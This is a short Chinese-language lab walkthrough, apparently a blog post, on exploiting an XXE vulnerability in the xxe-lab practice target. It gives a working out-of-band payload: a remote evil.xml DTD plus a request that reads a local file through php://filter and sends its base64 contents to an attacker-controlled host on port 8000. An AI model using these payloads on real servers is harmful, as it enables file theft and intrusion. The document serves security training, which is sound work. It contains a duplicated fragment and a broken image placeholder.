XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)、内网扫描等危害。
# 靶场部署
靶机下载地址:https://github.com/c0ny1/xxe-lab
// 将数据库的版本调制为php-5.4.29+Apache 访问以下地址开始练习
# 访问网站
http://192.168.1.84/xxelabs/php_xxe/
# 登录界面输入账号和密码,然后抓取数据包
# 在远程服务上创建evil.xml
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.110.125:8000/1.php?content=%file;'>"> %payload;
# 本地服务上开启一个8000的端口,并且在浏览器上访问192.168.110.125
发现cmd中访问成功
# 将内容发到bp中
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=C:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.110.125:8000/evil.xml">
%dtd;
%send;
]>
# 然后在cmd中发现了文本内容
# 将内容用base64进行解码得到内容
行解码得到内容
[外链图片转存中...(img-ORGLKarL-1722341843425)]
好小子,离成功又近一步!!!